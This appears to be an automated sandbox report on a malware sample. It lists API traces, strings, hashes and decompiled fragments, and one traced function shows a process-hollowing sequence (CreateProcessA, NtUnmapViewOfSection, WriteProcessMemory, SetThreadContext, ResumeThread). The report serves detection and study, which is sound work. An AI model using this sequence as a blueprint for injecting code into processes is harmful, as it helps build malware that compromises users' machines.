Uniqueness Score: -1.00%

Function 00960420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00960533

Strings

0, xrefs: 00960492
mfoaskdfnoa, xrefs: 00960520, 00960523
d, xrefs: 00960584
saodkfnosa9uin, xrefs: 009604DA

Memory Dump Source

Source File: 00000000.00000002.285097562.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: e1111b64bc098bebd3858a3a51115198681d1d15cecc635db1d4677030211143
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 59512A70D08388DAEB11CBD8C849BDEBFB66F51708F144059E5457F286C3BA5658CB62

Uniqueness

Uniqueness Score: -1.00%

Function 009605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 009605EC

Strings

o, xrefs: 00960600
apfHQ, xrefs: 009605E2, 009605E5

Memory Dump Source

Source File: 00000000.00000002.285097562.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 3d9428437cc9d9e9c0bc8ff64e3f4adcf60dbf91015a53103ab02823a3475fe9
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 38012170C0424CEEDF10DB98C5583AEBFB5AF81308F1481D9D4092B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0042A6E0, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042A6E0() {
				void* _t1;

				_t1 = E0042A610(0); // executed
				return _t1;
			}

0x0042a6e7
0x0042a6f0

APIs

__encode_pointer.LIBCMTD ref: 0042A6E7

Part of subcall function 0042A610: TlsGetValue.KERNEL32(00000001), ref: 0042A625
Part of subcall function 0042A610: TlsGetValue.KERNEL32(00000001,00000001), ref: 0042A646
Part of subcall function 0042A610: __crt_wait_module_handle.LIBCMTD ref: 0042A65C
Part of subcall function 0042A610: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0042A676
Part of subcall function 0042A610: RtlEncodePointer.NTDLL(?), ref: 0042A697

Memory Dump Source

Source File: 00000000.00000002.284995142.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.284988234.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.285047041.0000000000449000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.285077329.0000000000878000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.285085965.000000000087D000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: 218aa107ac577c3ea08eacfc0819380a787b9c950e9122d46307f8576b9d17d7
Instruction ID: 6024583c0691b771b2fd9b3918e5038b02dd0374586bd38ee2c36f5104525a75
Opcode Fuzzy Hash: 218aa107ac577c3ea08eacfc0819380a787b9c950e9122d46307f8576b9d17d7
Instruction Fuzzy Hash: 5FA0126254420823D4402083380BB02390C43C0638E4D0021F90C062422842A4204097

Uniqueness

Uniqueness Score: -1.00%

Function 00421F90, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;
				void* _t5;

				E0042F990(); // executed
				return L00421FB0(_t3, _t4, _t5);
			}

0x00421f95
0x00421fa0

APIs

___security_init_cookie.LIBCMTD ref: 00421F95

Memory Dump Source

Source File: 00000000.00000002.284995142.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.284988234.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.285047041.0000000000449000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.285077329.0000000000878000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.285085965.000000000087D000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 0167bb8061280b344f1eeec6d1aee01d436dca0888778d71406738e465ceeeca
Instruction ID: 24691be136d7c43dafebb73c679df08c480c9161e3d6836f3e3f8f528bced874
Opcode Fuzzy Hash: 0167bb8061280b344f1eeec6d1aee01d436dca0888778d71406738e465ceeeca
Instruction Fuzzy Hash: 61A0025520466826016033B72507F4EB56D58D4B587D7113A7538029275D5CA98540AE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00425060, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00425060(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x4493d4; // 0x64c0bc68
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x44b098 = _t6;
				 *0x44b094 = _t20;
				 *0x44b090 = _t22;
				 *0x44b08c = _t19;
				 *0x44b088 = _t25;
				 *0x44b084 = _t24;
				 *0x44b0b0 = ss;
				 *0x44b0a4 = cs;
				 *0x44b080 = ds;
				 *0x44b07c = es;
				 *0x44b078 = fs;
				 *0x44b074 = gs;
				asm("pushfd");
				_pop( *0x44b0a8);
				 *0x44b09c =  *_t29;
				 *0x44b0a0 = _v0;
				 *0x44b0ac =  &_a4;
				 *0x44afe8 = 0x10001;
				 *0x44af9c =  *0x44b0a0;
				 *0x44af90 = 0xc0000409;
				 *0x44af94 = 1;
				_t21 =  *0x4493d4; // 0x64c0bc68
				_v812 = _t21;
				_t23 =  *0x4493d8; // 0x9b3f4397
				_v808 = _t23;
				 *0x44afe0 = IsDebuggerPresent();
				_push(1);
				E0042A5F0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x406d6c);
				if( *0x44afe0 == 0) {
					_push(1);
					E0042A5F0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00425060
0x00425060
0x00425060
0x00425060
0x00425060
0x00425060
0x00425060
0x00425066
0x00425068
0x00425068
0x00435ebb
0x00435ec0
0x00435ec6
0x00435ecc
0x00435ed2
0x00435ed8
0x00435ede
0x00435ee5
0x00435eec
0x00435ef3
0x00435efa
0x00435f01
0x00435f08
0x00435f09
0x00435f12
0x00435f1a
0x00435f22
0x00435f2d
0x00435f3c
0x00435f41
0x00435f4b
0x00435f55
0x00435f5b
0x00435f61
0x00435f67
0x00435f73
0x00435f78
0x00435f7a
0x00435f84
0x00435f8f
0x00435f9c
0x00435f9e
0x00435fa0
0x00435fa5
0x00435fbd

APIs

IsDebuggerPresent.KERNEL32 ref: 00435F6D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435F84
UnhandledExceptionFilter.KERNEL32(00406D6C), ref: 00435F8F
GetCurrentProcess.KERNEL32(C0000409), ref: 00435FAD
TerminateProcess.KERNEL32(00000000), ref: 00435FB4

Memory Dump Source

Source File: 00000000.00000002.284995142.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.284988234.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.285047041.0000000000449000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.285077329.0000000000878000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.285085965.000000000087D000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 5588f81e90a69a172059e26b28a8e56a363b04272e737f3a82f724a60631fb2a
Instruction ID: c626a98406cfed483107f8f8aa143e89991cf6946ddaf11def5c93c28740a44f
Opcode Fuzzy Hash: 5588f81e90a69a172059e26b28a8e56a363b04272e737f3a82f724a60631fb2a
Instruction Fuzzy Hash: 6821FFBC900304DFD710DF65FD4564A3BA4FB1A316F40413AE91993760E7B499988F9E

Uniqueness

Uniqueness Score: -1.00%

Function 00960042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.285097562.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 59d6b95f473844cfb02c2dc11b827272b14676fac95dfd6ec88c76df80dcea2e
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 81113C72340100AFEB54DE65DCD1FA773EAEB89360B298165E908CB316D67AEC41C760

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CFE9H9mdWr.exe PID: 6892 Parent PID: 6832 CFE9H9mdWr.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.343544292.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.343544292.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.343544292.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.343544292.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.343544292.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004026C8, Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026C8(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t12;
				void* _t13;
				void* _t16;
				intOrPtr _t20;
				void* _t22;
				void* _t25;
				UNICODE_STRING* _t26;
				intOrPtr* _t28;

				_t20 =  *_t28;
				L0040118A(0x2700, _t16, _t20, _t22, __eflags);
				_t17 = _a4;
				_t26 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t26, _a8, __ecx, 0x51, _t22, _t25, _t16);
				_t23 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t26,  &_v8);
				_t31 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_t13 = 0x2700;
				L0040118A(_t13, _t17, 0x51, _t23, _t31);
				return _v8;
			}

0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00000000

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 00000003.00000001.284751218.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: fb1d288646eac737f9562cb4a2b5784598c588a48ffd6e473a319c7d6c35b7e7
Instruction ID: 40dc2efb075a3afc972c71eb076c1c0414e6b27fd6f2b5cc45f04f39bc90cd3d
Opcode Fuzzy Hash: fb1d288646eac737f9562cb4a2b5784598c588a48ffd6e473a319c7d6c35b7e7
Instruction Fuzzy Hash: C9016231608504E7DB006A419E4DBAA7764AB44754F208437FA067B1C0D6FD9A4BB76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.343544292.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.343544292.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Function 004026D3, Relevance: 1.5, APIs: 1, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E004026D3(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				long _t13;
				void* _t14;
				struct _OBJDIR_INFORMATION _t16;
				intOrPtr _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				asm("sbb eax, [eax]");
				_t21 =  *_t30;
				L0040118A(0x2700, __ebx, _t21, __edi, __eflags);
				_t18 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), __ecx, 0x51);
				_t24 = _t28 - 4;
				_t13 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t13;
				if(_t13 != 0) {
					 *(_t28 - 4) = 0;
				}
				_t14 = 0x2700;
				L0040118A(_t14, _t18, 0x51, _t24, _t34);
				_t16 =  *(_t28 - 4);
				return _t16;
			}

0x004026d3
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 00000003.00000001.284751218.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 4e0e5ee68eecc59290c08c9297519d89f54fb23726755cfbd71717b5480a64e1
Instruction ID: 9584a62b05b7d8a9b2a776b7033dab2b10b945a71b24260a1d24854f7785f2a5
Opcode Fuzzy Hash: 4e0e5ee68eecc59290c08c9297519d89f54fb23726755cfbd71717b5480a64e1
Instruction Fuzzy Hash: 9C01D131608500EBCB019E419E4DBAA3760AF04304F208477E606BF1D0C6FD9607FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004026DF, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026DF(void* __ebx, signed int __ecx, void* __edi) {
				long _t12;
				void* _t13;
				struct _OBJDIR_INFORMATION _t15;
				signed char _t20;
				intOrPtr _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				signed char _t33;

				_t20 = __ecx |  *0xebc2f5eb;
				_t33 = _t20;
				_t21 =  *_t30;
				L0040118A(0x2700, __ebx, _t21, __edi, _t33);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t20, 0x51);
				_t24 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_t13 = 0x2700;
				L0040118A(_t13, _t17, 0x51, _t24, _t34);
				_t15 =  *(_t28 - 4);
				return _t15;
			}

0x004026df
0x004026df
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 00000003.00000001.284751218.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 66d6ed5a5f97da4cd1e2364b4ff1c60b02b4f842bf72e481ca125f9fdb398aad
Instruction ID: 8c80e095348b3890610be7f7119ddd6f2bf491658c7e2b08e3b2f8ba4f36ee70
Opcode Fuzzy Hash: 66d6ed5a5f97da4cd1e2364b4ff1c60b02b4f842bf72e481ca125f9fdb398aad
Instruction Fuzzy Hash: 61F0C231608505F7CB059B919A5DB9A7B70AF48358F208037E6467F1C0C3BC9A0AEB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004026F6, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026F6(void* __ebx, void* __ecx, signed int __edx, void* __edi) {
				void* _t12;
				long _t15;
				void* _t16;
				struct _OBJDIR_INFORMATION _t18;
				intOrPtr _t23;
				UNICODE_STRING* _t30;
				signed int _t32;
				intOrPtr* _t34;
				signed char _t37;

				_t37 = __edx |  *(__ebx + _t32 * 8 - 0xe);
				_t23 =  *_t34;
				L0040118A(_t12, __ebx, _t23, __edi, _t37);
				_t20 =  *((intOrPtr*)(_t32 + 8));
				_t30 = _t32 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t32 + 8)) + 0xc))(_t30,  *((intOrPtr*)(_t32 + 0xc)), __ecx, 0x51);
				_t28 = _t32 - 4;
				_t15 = LdrLoadDll(0, 0, _t30, _t32 - 4);
				_t38 = _t15;
				if(_t15 != 0) {
					 *(_t32 - 4) = 0;
				}
				_t16 = 0x2700;
				L0040118A(_t16, _t20, 0x51, _t28, _t38);
				_t18 =  *(_t32 - 4);
				return _t18;
			}

0x004026f6
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 00000003.00000001.284751218.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 963b1ec641e54d0a3c948b9f5a1a39febab9ff735ad4ee73f913fea554ebc1e3
Instruction ID: d7b1c623c9884319f2b4b1abd5d885049190cb82f350ff51d45b82dffe9b7bfe
Opcode Fuzzy Hash: 963b1ec641e54d0a3c948b9f5a1a39febab9ff735ad4ee73f913fea554ebc1e3
Instruction Fuzzy Hash: E2F05435604505E7CF019A91999DB9E7760EF44354F208067F606BF0D1C2BC960A976A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: bsstvub PID: 7000 Parent PID: 664 bsstvubCOMMON

Executed Functions

Function 00960110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00960156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0096016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00960255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00960270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00960283
GetThreadContext.KERNELBASE(00000000,?), ref: 0096029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 009602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 009602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00960304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0096032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00960399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 009603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 009603E1
ResumeThread.KERNELBASE(00000000), ref: 009603ED
ExitProcess.KERNEL32(00000000), ref: 00960412

Memory Dump Source

Source File: 00000011.00000002.386824804.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: a8430609d649631d80344a6063533bc9e50c0a55c11d3bc4568478d137aaf4e9
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3CB1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00960630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 009606E2

Strings

NtUnmapViewOfSection, xrefs: 00961085, 0096108B
GetMessageA, xrefs: 009612F7, 009612FA
GetMessageExtraInfo, xrefs: 00960794, 0096079A
VirtualFree, xrefs: 00960BB2, 00960BB8
CreateProcessA, xrefs: 009609BB, 009609C1
kernel32, xrefs: 009607ED, 009607F3
CloseHandle, xrefs: 00960938, 0096093E
WaitForSingleObject, xrefs: 00960E95, 00960E9B
SetThreadContext, xrefs: 00960D7A, 00960D80
GetStartupInfoA, xrefs: 0096145B, 00961461
user32, xrefs: 009606DB, 009606E1
ReadProcessMemory, xrefs: 00960C4A, 00960C50
GetFileAttributesA, xrefs: 009613D7, 009613DA
WriteFile, xrefs: 009608CD, 009608D0
ResumeThread, xrefs: 00960DEF, 00960DF5
ExitProcess, xrefs: 00961554, 0096155A
WinExec, xrefs: 00960820, 00960823
RegisterClassExA, xrefs: 009611B7, 009611BD
VirtualAlloc, xrefs: 00960AC1, 00960AC7
DefWindowProcA, xrefs: 00961374, 0096137A
CreateWindowExA, xrefs: 0096123E, 00961244
MessageBoxA, xrefs: 009606EE, 009606F4
GetThreadContext, xrefs: 00960A4C, 00960A52
WriteProcessMemory, xrefs: 00960CE9, 00960CEF
GetModuleFileNameA, xrefs: 00960EFB, 00960EFE
ntdll.dll, xrefs: 00960FE2, 00960FE8
PostMessageA, xrefs: 009612B0, 009612B6
NtWriteVirtualMemory, xrefs: 0096112C, 00961132
VirtualProtectEx, xrefs: 009614E9, 009614EF
GetCommandLineA, xrefs: 00960F82, 00960F88
CreateFileA, xrefs: 0096088B, 00960891
VirtualAllocEx, xrefs: 00960B44, 00960B4A

Memory Dump Source

Source File: 00000011.00000002.386824804.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 623fd896c01892e54263ff355f907e1acfe667f8ddf943062958a13b00104cce
